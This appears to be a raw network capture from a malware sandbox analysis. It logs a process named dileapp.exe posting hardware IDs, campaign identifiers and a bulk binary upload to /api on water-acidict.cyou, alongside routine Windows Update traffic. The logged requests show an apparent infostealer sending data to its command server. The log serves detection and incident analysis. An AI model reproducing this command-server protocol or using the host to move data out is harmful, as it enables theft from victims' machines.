cfL4;desc="?proto=TCP&rtt=1826&min_rtt=1825&rtt_var=687&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1591280&cwnd=231&unsent_bytes=0&cid=65a24f3b0eb02049&ts=1125&x=0"
2024-11-29 22:10:18 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-29 22:10:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49749	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:18 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=stBxbGhrHxDYMZ9&MD=gESBNraw HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-29 22:10:18 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 0d183424-28d3-4bae-9cc8-3333b6e1445f MS-RequestId: 3ea3a16a-02bd-45d9-8f64-4d8f7bbc946b MS-CV: mTlSidI7VkStOY2Q.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 29 Nov 2024 22:10:17 GMT Connection: close Content-Length: 24490
2024-11-29 22:10:18 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-29 22:10:18 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49753	172.67.156.217	443	7984	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:18 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HVENPYA281G5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20401 Host: water-acidict.cyou
2024-11-29 22:10:18 UTC	15331	OUT	Data Raw: 2d 2d 48 56 45 4e 50 59 41 32 38 31 47 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 45 44 38 44 42 30 36 34 37 33 39 45 33 36 32 37 32 34 45 39 32 36 43 45 34 39 35 44 39 46 0d 0a 2d 2d 48 56 45 4e 50 59 41 32 38 31 47 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 48 56 45 4e 50 59 41 32 38 31 47 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 62 61 6e 64 6c 0d 0a 2d 2d 48 56 45 4e 50 59 41 32 38 31 47 35 0d 0a Data Ascii: --HVENPYA281G5Content-Disposition: form-data; name="hwid"97ED8DB064739E362724E926CE495D9F--HVENPYA281G5Content-Disposition: form-data; name="pid"3--HVENPYA281G5Content-Disposition: form-data; name="lid"c2CoW0--bandl--HVENPYA281G5
2024-11-29 22:10:18 UTC	5070	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-11-29 22:10:19 UTC	1026	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hmet8lo2rkua5031qp3ul9f6bh; expires=Tue, 25-Mar-2025 15:56:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k97UZApMDwAdhYiwijzt%2B%2FmmeMkhU2aX%2Bu0fHy8yzalx9faUTMvWyUaxrq9f3fc7SzAyY9HxNEXLYzff4IsgK0BqHnMWW7%2BUdWCdBK3CqPsUXbp9qmW%2FD8doLw2yN3%2Bukm53ogI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ed55bea18cdc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1956&min_rtt=1949&rtt_var=745&sent=18&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21359&delivery_rate=1455633&cwnd=250&unsent_bytes=0&cid=985b161db98c2a1e&ts=1018&x=0"
2024-11-29 22:10:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 22:10:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49756	172.67.156.217	443	7568	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:20 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: water-acidict.cyou
2024-11-29 22:10:20 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 63 32 43 6f 57 30 2d 2d 62 61 6e 64 6c 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=c2CoW0--bandl&j=
2024-11-29 22:10:21 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vlc2gqjq75kq1a1k9sehrejdp1; expires=Tue, 25-Mar-2025 15:56:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lXgXSZpIPkc5wikVv4slk5dTMpF6yl22NKlsaXFjCe55fqLXwhVHEZ2d6EC1chDjzNPSG88JHmeInXqYvxd3NnwTnpq9%2F4oEgnTUDfs56rMloyss8HYvi%2F9cidPVqHPAUqvqbsk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ed5eea7c7d24-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1805&min_rtt=1794&rtt_var=696&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=949&delivery_rate=1547429&cwnd=193&unsent_bytes=0&cid=b0660ed8591edc55&ts=829&x=0"
2024-11-29 22:10:21 UTC	356	IN	Data Raw: 34 34 38 38 0d 0a 62 47 43 56 37 43 77 59 75 66 49 66 44 30 73 41 78 57 31 78 37 31 30 58 69 6b 4c 4c 42 39 6e 31 74 41 71 57 6f 69 65 45 4b 45 4d 58 51 75 50 4f 46 69 79 56 30 47 78 71 61 54 71 78 48 77 53 4b 63 54 58 72 4a 75 6b 39 76 35 54 59 65 66 4f 4f 42 66 4a 46 59 56 59 47 39 49 42 66 66 5a 58 51 65 6e 64 70 4f 70 34 57 55 34 6f 7a 4e 62 42 67 72 6d 32 37 6c 4e 68 6f 39 38 6c 49 39 45 51 67 42 41 7a 79 68 45 6c 37 33 5a 4e 7a 59 69 35 6c 6f 41 77 62 67 54 52 36 34 69 2f 70 4b 2f 75 51 7a 69 69 73 67 47 72 68 58 43 49 68 41 65 61 48 44 6d 57 56 69 54 31 71 4a 53 4c 2f 54 78 43 4b 50 33 76 73 4a 71 42 76 73 5a 33 51 61 66 4c 49 56 2b 31 4f 4b 77 51 43 38 59 56 44 63 73 6d 65 65 57 55 6c 59 36 6f 4d 55 38 4e 2f 63 76 42 67 38 53 58 6f 70 64 56 35 35 Data Ascii: 4488bGCV7CwYufIfD0sAxW1x710XikLLB9n1tAqWoieEKEMXQuPOFiyV0GxqaTqxHwSKcTXrJuk9v5TYefOOBfJFYVYG9IBffZXQendpOp4WU4ozNbBgrm27lNho98lI9EQgBAzyhEl73ZNzYi5loAwbgTR64i/pK/uQziisgGrhXCIhAeaHDmWViT1qJSL/TxCKP3vsJqBvsZ3QafLIV+1OKwQC8YVDcsmeeWUlY6oMU8N/cvBg8SXopdV55
2024-11-29 22:10:21 UTC	1369	IN	Data Raw: 75 43 64 57 59 69 5a 37 55 45 47 6f 41 79 64 65 55 71 70 6d 61 37 6b 4e 78 69 2b 38 70 42 36 30 63 6e 44 67 4b 33 77 41 35 39 77 39 41 6c 4c 51 70 6e 74 77 67 66 6d 33 31 50 71 44 2f 6e 66 50 75 51 32 69 69 73 67 45 33 6a 53 53 49 46 44 66 53 47 52 57 6a 62 67 6e 74 67 4c 48 43 68 43 68 32 48 50 47 66 69 4c 71 39 6d 73 70 7a 66 62 66 50 45 42 61 67 4b 4a 68 5a 43 72 38 35 76 64 39 43 63 64 33 6f 70 49 72 68 42 43 73 30 34 65 61 68 34 36 57 47 36 6b 39 64 73 2b 73 35 42 36 6b 77 76 41 77 33 78 68 45 35 39 30 5a 68 31 62 43 52 70 71 41 38 57 67 44 74 7a 35 43 47 73 4a 66 58 58 30 58 43 30 6d 41 58 49 54 53 49 63 51 4d 4b 4e 51 48 54 63 68 6a 31 79 5a 33 76 6e 43 42 2f 4e 5a 7a 58 6d 4a 61 5a 33 75 6f 58 54 5a 75 62 4d 51 4f 42 48 49 67 41 43 38 6f 6c 44 64 Data Ascii: uCdWYiZ7UEGoAydeUqpma7kNxi+8pB60cnDgK3wA59w9AlLQpntwgfm31PqD/nfPuQ2iisgE3jSSIFDfSGRWjbgntgLHChCh2HPGfiLq9mspzfbfPEBagKJhZCr85vd9Ccd3opIrhBCs04eah46WG6k9ds+s5B6kwvAw3xhE590Zh1bCRpqA8WgDtz5CGsJfXX0XC0mAXITSIcQMKNQHTchj1yZ3vnCB/NZzXmJaZ3uoXTZubMQOBHIgAC8olDd
2024-11-29 22:10:21 UTC	1369	IN	Data Raw: 79 5a 33 76 6e 43 42 2f 4e 5a 7a 58 6b 4b 61 6c 75 73 5a 50 57 62 2f 6e 46 52 75 46 4a 4c 41 6b 49 2b 59 6c 4b 64 74 4b 64 65 32 30 75 5a 71 49 64 46 6f 51 7a 65 61 68 75 36 57 4b 6a 31 34 34 6f 32 38 64 54 35 57 55 69 48 77 75 33 6b 51 42 6a 6d 35 64 78 4c 58 45 69 6f 41 6f 62 68 6a 6c 39 36 44 4b 73 61 37 43 57 33 47 37 31 7a 55 6e 67 53 69 41 4f 42 50 75 4f 53 58 33 4a 67 6e 68 72 4f 32 6a 6e 51 56 4f 4b 4a 7a 57 77 59 4a 39 31 72 49 62 41 4b 73 48 44 53 2b 68 4e 4e 30 34 64 75 5a 63 4f 66 64 66 51 4a 53 30 69 59 71 73 49 47 34 73 37 66 65 63 76 6f 48 65 36 6d 39 68 36 38 38 42 4d 36 45 55 74 42 77 2f 77 67 30 56 77 31 70 52 36 62 47 6b 73 35 77 67 4c 7a 57 63 31 33 6a 43 6b 61 5a 57 63 32 6d 47 30 33 77 76 2f 43 69 59 43 51 71 2f 4f 53 6e 62 54 6d 6e Data Ascii: yZ3vnCB/NZzXkKalusZPWb/nFRuFJLAkI+YlKdtKde20uZqIdFoQzeahu6WKj144o28dT5WUiHwu3kQBjm5dxLXEioAobhjl96DKsa7CW3G71zUngSiAOBPuOSX3JgnhrO2jnQVOKJzWwYJ91rIbAKsHDS+hNN04duZcOfdfQJS0iYqsIG4s7fecvoHe6m9h688BM6EUtBw/wg0Vw1pR6bGks5wgLzWc13jCkaZWc2mG03wv/CiYCQq/OSnbTmn
2024-11-29 22:10:21 UTC	1369	IN	Data Raw: 6f 77 67 58 69 7a 41 31 70 6d 43 75 66 66 76 50 6c 6b 66 54 39 51 66 48 63 47 45 52 54 4f 37 4f 53 58 61 62 79 44 31 68 4b 6d 36 76 41 42 57 45 4d 33 2f 68 4b 36 56 75 76 35 76 66 62 66 4c 42 51 4f 4e 4c 4a 51 49 49 38 59 31 4e 64 64 53 66 64 53 31 6e 49 71 41 58 55 39 56 2f 55 50 38 72 70 32 50 37 69 4a 68 78 74 4d 64 4a 70 68 4a 68 41 67 76 78 69 45 74 32 32 70 5a 31 61 43 46 6d 70 67 6b 56 6a 6a 42 78 37 53 47 6d 59 62 65 5a 33 47 6e 31 7a 45 37 70 51 53 52 4f 54 4c 65 4a 56 6a 71 44 30 45 78 75 50 33 57 33 41 31 4f 53 63 57 79 6f 4a 36 55 6c 34 39 66 58 65 76 37 4b 53 2b 4e 46 4a 41 30 4e 38 49 4e 49 64 74 47 5a 64 57 73 6d 61 37 55 4d 48 34 4d 34 65 2b 51 75 70 47 2b 34 6d 70 59 6d 74 4d 64 64 70 68 4a 68 49 67 58 36 6f 45 56 32 33 4e 42 69 49 7a 41 Data Ascii: owgXizA1pmCuffvPlkfT9QfHcGERTO7OSXabyD1hKm6vABWEM3/hK6Vuv5vfbfLBQONLJQII8Y1NddSfdS1nIqAXU9V/UP8rp2P7iJhxtMdJphJhAgvxiEt22pZ1aCFmpgkVjjBx7SGmYbeZ3Gn1zE7pQSROTLeJVjqD0ExuP3W3A1OScWyoJ6Ul49fXev7KS+NFJA0N8INIdtGZdWsma7UMH4M4e+QupG+4mpYmtMddphJhIgX6oEV23NBiIzA
2024-11-29 22:10:21 UTC	1369	IN	Data Raw: 4a 56 2f 4c 61 67 57 72 6e 57 72 6c 4a 52 5a 34 73 4e 54 37 55 63 74 54 68 32 35 6c 77 35 39 31 39 41 6c 4c 53 39 74 72 67 77 63 6a 44 5a 35 35 53 57 67 59 4c 71 52 30 6d 4c 2b 77 45 50 67 53 79 51 45 41 66 61 45 52 33 33 54 6c 33 35 2f 61 53 7a 6e 43 41 76 4e 5a 7a 58 42 4a 37 74 72 71 39 66 4a 4a 75 32 41 51 75 6f 4b 65 55 34 47 2f 59 46 4b 66 64 65 57 65 47 73 6b 59 36 67 4f 45 34 49 37 66 75 45 6d 71 47 69 2b 6d 74 4a 36 2f 73 74 4b 36 6b 4d 74 41 30 4b 35 7a 6b 6c 69 6d 38 67 39 58 43 52 73 71 51 67 46 7a 53 41 37 38 57 43 75 61 66 76 50 6c 6d 6e 34 7a 30 62 70 53 53 49 50 43 4f 57 63 51 6e 50 54 6c 58 46 6d 4a 32 53 31 43 52 79 45 50 48 62 68 4a 36 46 70 73 5a 54 52 4b 4c 71 41 51 76 34 4b 65 55 34 68 34 4a 35 44 4f 73 54 65 5a 43 30 75 62 75 64 58 Data Ascii: JV/LagWrnWrlJRZ4sNT7UctTh25lw5919AlLS9trgwcjDZ55SWgYLqR0mL+wEPgSyQEAfaER33Tl35/aSznCAvNZzXBJ7trq9fJJu2AQuoKeU4G/YFKfdeWeGskY6gOE4I7fuEmqGi+mtJ6/stK6kMtA0K5zklim8g9XCRsqQgFzSA78WCuafvPlmn4z0bpSSIPCOWcQnPTlXFmJ2S1CRyEPHbhJ6FpsZTRKLqAQv4KeU4h4J5DOsTeZC0ubudX
2024-11-29 22:10:21 UTC	1369	IN	Data Raw: 44 75 4c 36 5a 73 73 70 50 65 61 2f 54 45 51 65 46 50 49 67 49 4a 38 49 31 42 66 74 4b 65 64 47 4a 70 4c 4f 63 49 43 38 31 6e 4e 63 6b 37 71 6d 6d 32 31 38 6b 6d 37 59 42 43 36 67 70 35 54 67 37 35 69 30 35 77 33 5a 52 34 61 79 4e 6e 70 77 51 51 67 6a 74 7a 37 43 2b 70 62 72 4b 57 30 47 33 2b 79 30 50 72 53 53 63 49 51 72 6e 4f 53 57 4b 62 79 44 31 4e 4d 6d 2b 72 43 46 4f 53 63 57 79 6f 4a 36 55 6c 34 39 66 64 5a 50 44 48 52 65 74 4a 4b 51 73 47 2f 59 74 4f 63 73 6d 59 66 57 6f 37 63 4b 63 47 46 6f 45 38 64 65 77 6d 6f 47 4f 34 6b 35 59 6d 74 4d 64 64 70 68 4a 68 49 77 37 77 70 30 6c 68 6d 34 38 7a 64 47 6c 6c 71 30 39 4c 7a 54 35 2b 34 69 2b 6b 5a 72 32 55 33 57 33 2b 77 55 4c 75 52 7a 4d 4e 44 66 69 4b 54 6e 58 64 6c 6e 78 69 4c 32 57 75 44 68 75 4b 66 Data Ascii: DuL6ZsspPea/TEQeFPIgIJ8I1BftKedGJpLOcIC81nNck7qmm218km7YBC6gp5Tg75i05w3ZR4ayNnpwQQgjtz7C+pbrKW0G3+y0PrSScIQrnOSWKbyD1NMm+rCFOScWyoJ6Ul49fdZPDHRetJKQsG/YtOcsmYfWo7cKcGFoE8dewmoGO4k5YmtMddphJhIw7wp0lhm48zdGllq09LzT5+4i+kZr2U3W3+wULuRzMNDfiKTnXdlnxiL2WuDhuKf
2024-11-29 22:10:21 UTC	1369	IN	Data Raw: 4f 63 37 47 51 78 6d 2f 6a 7a 77 57 6f 43 69 35 4f 57 73 37 4f 52 33 33 41 67 57 74 67 4f 57 58 6e 4d 46 33 4e 4a 7a 57 77 59 4a 78 6d 74 5a 6e 52 66 75 57 4e 59 76 42 41 4a 68 34 46 34 49 45 4f 4e 4a 75 57 50 54 56 36 4c 4f 63 4c 41 73 31 6e 4a 62 70 37 2f 44 62 73 78 34 52 33 75 74 6b 46 38 41 70 35 58 45 79 33 6e 41 34 69 6d 39 64 2b 66 7a 74 6b 70 42 6b 51 79 67 46 4c 7a 7a 71 6b 59 36 79 47 36 46 62 7a 32 6b 6a 67 58 54 42 43 46 2f 53 41 51 48 33 4e 30 44 4d 74 4a 69 4c 2f 4e 6c 50 46 66 30 71 6d 59 4c 45 6c 34 39 66 6a 61 2f 72 4f 51 76 42 62 62 43 6b 59 2b 6f 68 5a 61 35 76 65 50 57 74 70 4f 76 64 42 55 34 6b 75 4e 62 42 77 2b 7a 37 75 78 49 45 34 70 74 38 4c 2f 77 6f 33 54 6c 71 6c 77 41 35 6f 6d 38 67 39 4b 69 70 77 74 51 6b 51 6d 7a 77 79 31 68 Data Ascii: Oc7GQxm/jzwWoCi5OWs7OR33AgWtgOWXnMF3NJzWwYJxmtZnRfuWNYvBAJh4F4IEONJuWPTV6LOcLAs1nJbp7/Dbsx4R3utkF8Ap5XEy3nA4im9d+fztkpBkQygFLzzqkY6yG6Fbz2kjgXTBCF/SAQH3N0DMtJiL/NlPFf0qmYLEl49fja/rOQvBbbCkY+ohZa5vePWtpOvdBU4kuNbBw+z7uxIE4pt8L/wo3TlqlwA5om8g9KipwtQkQmzwy1h
2024-11-29 22:10:21 UTC	1369	IN	Data Raw: 6f 74 56 6d 2b 73 64 54 39 77 63 47 41 41 58 32 6d 46 35 74 31 4e 41 7a 4c 53 38 69 2f 31 31 64 7a 54 74 6b 71 48 6a 35 4e 2b 44 43 68 54 2b 6b 6b 6c 71 6f 55 32 45 59 51 71 2f 63 41 44 72 4a 30 43 55 74 62 6d 47 31 48 52 57 4f 4b 58 61 76 48 70 64 43 74 5a 44 58 66 75 54 58 53 71 6c 6b 46 79 38 38 79 5a 74 4e 64 4e 57 58 61 33 78 70 4c 4f 63 41 55 39 55 47 4e 61 42 67 6c 69 76 37 6a 35 59 77 74 50 56 47 36 45 51 6d 47 42 4f 36 71 55 42 39 32 6f 5a 74 65 69 59 74 69 54 6b 79 7a 58 45 31 37 6d 44 78 4e 2f 58 58 30 6e 6d 30 6d 42 57 30 45 58 52 64 56 61 66 63 55 54 54 43 30 47 73 74 63 54 44 70 54 77 48 4e 5a 7a 57 76 49 37 74 33 76 5a 54 41 61 37 50 2b 65 38 46 45 4a 67 38 55 35 34 4e 43 57 39 69 42 64 31 4d 58 64 36 51 42 48 59 6f 70 5a 4b 68 75 36 57 72 Data Ascii: otVm+sdT9wcGAAX2mF5t1NAzLS8i/11dzTtkqHj5N+DChT+kklqoU2EYQq/cADrJ0CUtbmG1HRWOKXavHpdCtZDXfuTXSqlkFy88yZtNdNWXa3xpLOcAU9UGNaBgliv7j5YwtPVG6EQmGBO6qUB92oZteiYtiTkyzXE17mDxN/XX0nm0mBW0EXRdVafcUTTC0GstcTDpTwHNZzWvI7t3vZTAa7P+e8FEJg8U54NCW9iBd1MXd6QBHYopZKhu6Wr
2024-11-29 22:10:21 UTC	1369	IN	Data Raw: 76 66 57 52 71 46 30 48 79 4d 51 38 4a 35 4e 4f 4f 71 64 65 58 73 38 59 62 63 49 4c 62 4d 53 5a 2b 38 77 71 69 65 58 6b 4e 74 6b 79 76 35 79 39 30 30 78 54 43 54 30 6d 45 30 36 6c 64 42 6c 4c 58 45 69 69 68 30 55 6e 54 77 33 78 43 65 6b 61 66 75 49 6d 48 47 30 31 67 57 2b 47 57 39 4f 45 4c 66 57 44 6a 33 59 67 6d 39 72 4b 6e 53 6b 53 43 32 7a 45 6d 66 76 4d 4b 6f 6e 69 70 72 53 66 75 48 44 56 65 46 30 48 79 4d 51 38 4a 35 4e 4f 50 36 71 50 31 77 2f 59 61 63 42 46 4d 31 78 4e 66 42 67 38 53 57 57 68 64 46 34 39 34 4a 67 33 41 67 51 47 41 48 33 67 45 6b 36 6c 64 42 78 4c 58 45 69 71 68 30 55 6e 54 77 35 37 7a 71 75 4a 61 54 5a 7a 79 6a 69 67 42 32 31 42 47 45 63 51 71 2f 4f 43 58 54 57 6b 58 35 6a 4b 6e 43 31 43 52 43 62 50 44 4c 57 48 6f 5a 75 75 6f 66 62 Data Ascii: vfWRqF0HyMQ8J5NOOqdeXs8YbcILbMSZ+8wqieXkNtkyv5y900xTCT0mE06ldBlLXEiih0UnTw3xCekafuImHG01gW+GW9OELfWDj3Ygm9rKnSkSC2zEmfvMKoniprSfuHDVeF0HyMQ8J5NOP6qP1w/YacBFM1xNfBg8SWWhdF494Jg3AgQGAH3gEk6ldBxLXEiqh0UnTw57zquJaTZzyjigB21BGEcQq/OCXTWkX5jKnC1CRCbPDLWHoZuuofb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49757	172.67.156.217	443	7984	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:21 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=F9TF042QFM74Q User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1237 Host: water-acidict.cyou
2024-11-29 22:10:21 UTC	1237	OUT	Data Raw: 2d 2d 46 39 54 46 30 34 32 51 46 4d 37 34 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 45 44 38 44 42 30 36 34 37 33 39 45 33 36 32 37 32 34 45 39 32 36 43 45 34 39 35 44 39 46 0d 0a 2d 2d 46 39 54 46 30 34 32 51 46 4d 37 34 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 46 39 54 46 30 34 32 51 46 4d 37 34 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 62 61 6e 64 6c 0d 0a 2d 2d 46 39 54 46 30 34 32 51 46 4d 37 Data Ascii: --F9TF042QFM74QContent-Disposition: form-data; name="hwid"97ED8DB064739E362724E926CE495D9F--F9TF042QFM74QContent-Disposition: form-data; name="pid"1--F9TF042QFM74QContent-Disposition: form-data; name="lid"c2CoW0--bandl--F9TF042QFM7
